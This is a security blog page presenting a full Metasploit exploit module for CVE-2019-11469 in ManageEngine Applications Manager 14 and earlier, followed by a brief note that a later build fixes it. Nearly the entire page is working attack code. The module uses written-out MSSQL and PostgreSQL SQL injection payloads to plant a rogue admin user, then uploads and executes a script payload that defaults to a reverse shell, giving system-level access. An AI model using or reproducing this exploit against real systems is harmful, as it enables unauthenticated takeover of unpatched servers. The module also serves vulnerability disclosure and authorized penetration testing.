Pentest Blog - Self-Improvement to Ethical Hacking CVE-2019-11469

Pentest Blog - Self-Improvement to Ethical Hacking

MISC:https://pentest.com.tr/exploits/ManageEngine-App-Manager-14-Auth-Bypass-Remote-Command-Execution.html

Download: text/x-ruby
Original: pentest.com.tr archive.org
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<div class="post">

  <header class="post-header">
    <h2>EDB-ID: 46740</h2>
    <h2>CVE-2019-11469</h2>
    <p class="meta">
        17 April, 2019
        
        
        •
        <span>EXPLOIT</span>
    </p>
  </header>
  <li><a href="https://www.exploit-db.com/exploits/46740" target="_blank">Exploit-DB Link</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2019-11469" target="_blank">CVE-Mitre Link</a></li>
  <li><a href="https://pentest.com.tr/exploits/manageengine_appmanager_auth_bypass_rce.rb" target="_blank">Download manageengine_appmanager_auth_bypass_rce.rb</a></li>
<p></p>
<h2>ManageEngine AM <= 14.0 Auth Bypass / RCE</h2>
<p></p>
  <article class="post-content">
  <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ManageEngine Applications Manager < 14.0 - Authentication Bypass / Remote Command Execution",
      'Description'    => %q(
        This module exploits sqli and command injection vulnerability in the ManageEngine AM 14 and prior versions.
        It is completely different from the previous EDB-ID:46725 exploit.

        Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides authentication bypass.
        Therefore an unauthenticated user can gain the authority of "system" on the server. 
        It uploads malicious file using the "Execute Program Action(s)" feature of the app with the new admin account.

        Tested: Applications Manager 14 on Linux 64-bit (PostgreSQL)
                Applications Manager 14 on Windows 10 64-bit (MSSQL)
                Applications Manager 14 on Windows 10 64-bit (PostgreSQL)
                Applications Manager 13 on Windows Server 2012 R2 64-bit (MSSQL)
                Applications Manager 12 on Windows Server 2012 R2 64-bit (PostgreSQL)
      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
        ],
      'References'     =>
        [
          [ 'URL', 'http://pentest.com.tr/exploits/ManageEngine-App-Manager-14-Auth-Bypass-Remote-Command-Execution.html' ]
        ],
      'DefaultOptions' =>
        {
          'WfsDelay' => 60, # countermeasure
          'RPORT' => 8443,
          'SSL' => true
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Platform'       => ['unix', 'win'],
      'Targets' =>
        [
          [ 'Windows Target',
            {
              'Platform' => ['win'],
              'Arch' => ARCH_CMD,
            }
          ],
          [ 'Linux Target',
            {
              'Platform' => ['unix'],
              'Arch' => ARCH_CMD,
              'Payload' =>
                {
                  'Compat' =>
                    {
                      'PayloadType' => 'cmd',
                    }
                }
            }
          ]
        ],
      'DisclosureDate' => '09 April 2019',
      'DefaultTarget'  => 1,
      'DefaultOptions' => { 'PAYLOAD' => 'generic/shell_reverse_tcp' }))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of ME', '/'])
      ],self.class)
  end

  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end

  def exec(action)
    # operation of malicious file. The end of the adventure :(
    send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'common', 'executeScript.do'),
      'cookie'  => @cookie,
      'vars_get' => {
        'method' => 'testAction',
        'actionID' => action,
        'haid' => 'null'
      }
    )
  end
##
# platform check
##
  def check_platform
    # First touch to support of execute program ;)
    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'showTile.do'),
      'cookie'  => @cookie,
      'vars_get' => {
        'TileName' => '.ExecProg',
        'haid' => 'null',
      }
    )
    if res && res.code == 200 && res.body.include?('createExecProgAction')
      # Platform can be discovered precisely using an application dir.
      @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0] # It will be recalled later
      if @dir =~ /:/
        platform = Msf::Module::Platform::Windows
      else 
        platform = Msf::Module::Platform::Unix
      end
    else
      fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
    end
    file_up(platform, @dir)
  end
##
# Creating and sending malicious files
##
  def file_up(platform, dir)
    # specifying an extension by platform
    if platform == Msf::Module::Platform::Windows
      filex = ".bat"
    else
      filex = ".sh"
    end

    @fname= rand_text_alpha(9 + rand(3)) + filex
    data = Rex::MIME::Message.new
    data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")

    res = send_request_cgi({
      'method' => 'POST',    
      'data'  => data.to_s,
      'agent' => 'Mozilla',
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'cookie' => @cookie,
      'uri' => normalize_uri(target_uri, "Upload.do")     
    })

    if res && res.code == 200 && res.body.include?('icon_message_success') # Success icon control
      print_good("#{@fname} malicious file has been uploaded.")
      create_exec_prog(dir, @fname) # Great. Let's send them somewhere else o_O
    else
      fail_with(Failure::Unknown, 'The file could not be uploaded!')
    end
  end

  def create_exec_prog(dir, fname)

    @display = rand_text_alphanumeric(7)
    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     =>  normalize_uri(target_uri.path, 'adminAction.do'),
      'cookie'  => @cookie,
      'vars_post' => {
        'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
        'method' => 'createExecProgAction',
        'id' => 0,
        'displayname' => @display,
        'serversite' => 'local',
        'choosehost' => -2,
        'abortafter' => 5, # I think it would be enough for once. But I gave 5 O_o
        'command' => fname,
        'execProgExecDir' => dir,
        'cancel' => 'false'
      }
    )

    if res && res.code == 200 && res.body.include?('icon_message_success') # Success icon control
      # Find actionID simply from body res
      actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] 
      print_status("Transactions completed. Attempting to get a session...")
      exec(actionid)
    else
      fail_with(Failure::Unreachable, 'Connection error occurred!')
    end

  end
##
# Check all
##
  def check
    # Instead of detecting the database type, we can guarantee the vuln by sending a separate query to both.
    # The platform can be linux and possible remotely connected to the MSSQL database. 
    # In the same way platform can be windows and postgresql can be used. 
    # Thats why we are sending two queries. We will check the platform inside.
    @uname = Rex::Text.rand_text_alpha_lower(6)
    uid = rand_text_numeric(3)
    apk = rand_text_numeric(6) 
    @pwd = rand_text_alphanumeric(8+rand(9))
    # MSSQL injection should be prepared with ASCII characters. 
    # Map and join can be used for this.
    @uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)" # "ADMIN" CHARs - should not be random
    # PostgreSQL injection query // no need APIKEY
    pg_user ="" 
    pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+"
    pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);"
    pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+"
    # MSSQL injection query
    ms_user =""
    ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR},"
    ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});"
    ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--"
    # Send SQL queries to both types of database(PostreSQL,MSSQL) with SQLi vuln..
    use_sqli(ms_user, pg_user)

    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
    )
    # If the user we sent with queries was created, the login will be successful with new admin user.
    if res && res.code == 200 && res.body.include?('.loginDiv') # css control makes more sense. The application language may not be English.
      @cookie = res.get_cookies
      res = send_request_cgi(
        'method'  => 'POST',
        'uri'     =>  normalize_uri(target_uri.path, 'j_security_check'),
        'cookie'  => @cookie,
        'vars_post' => {
          'clienttype' => 'html',
          'j_username' => @uname,
          'j_password' => @pwd
        }
      )

      if res && res.code == 302 && res.body.include?('Redirecting to')
        res = send_request_cgi(
          'method'  => 'GET',
          'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
          'cookie'  => @cookie
          )
        @cookie = res.get_cookies # last cookie
        return Exploit::CheckCode::Vulnerable
      else
        return Exploit::CheckCode::Safe
      end
    else
      return Exploit::CheckCode::Safe
    end
    
  end

  def exploit
    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    print_good("Excellent! Logged in as #{@uname}")
    print_status("Admin Username => #{@uname}")
    print_status("Admin Password => #{@pwd}")
    check_platform # Start the adventure
  end
##
# Communication with the database
##
  def use_sqli(mssql, postgresql)
    # two different post data must be sent.
    # Because the query structures are different.
    send_request_cgi(
      'method'  => 'POST',
      'uri'     =>  normalize_uri(target_uri.path, 'jsp', 'FaultTemplateOptions.jsp'),
      'vars_post' => {
        'resourceid' => mssql
      }
    )
    # important to send the +/$ characters clear
    send_request_cgi(
      {
      'method' => 'POST',
      'ctype'  => 'application/x-www-form-urlencoded',
      'uri' => normalize_uri(target_uri.path, 'jsp', 'FaultTemplateOptions.jsp'),
      'data' => "resourceid=#{postgresql}"
      }, 25)

  end
end
##
# The end of the codes (o_O) // AkkuS
##

</span></code></pre></div></div>
<p></p>
<p></p>
<p></p>
<p></p>
I can't give a detailed explanation this time.
<p></p>
Important comments are available in exploit for you.
<p></p>
<p></p>
<p></p>
<img class="center" src="../images/me-auth-s.gif">
<p></p>
<p></p>
Fixed with Version 14 (14150 build) 
<p></p>
<li><a href="https://www.manageengine.com/products/applications_manager/issues.html#v14150" target="_blank">>> Click for Details<<</a></li>
<p></p>
<p></p>
  </article>

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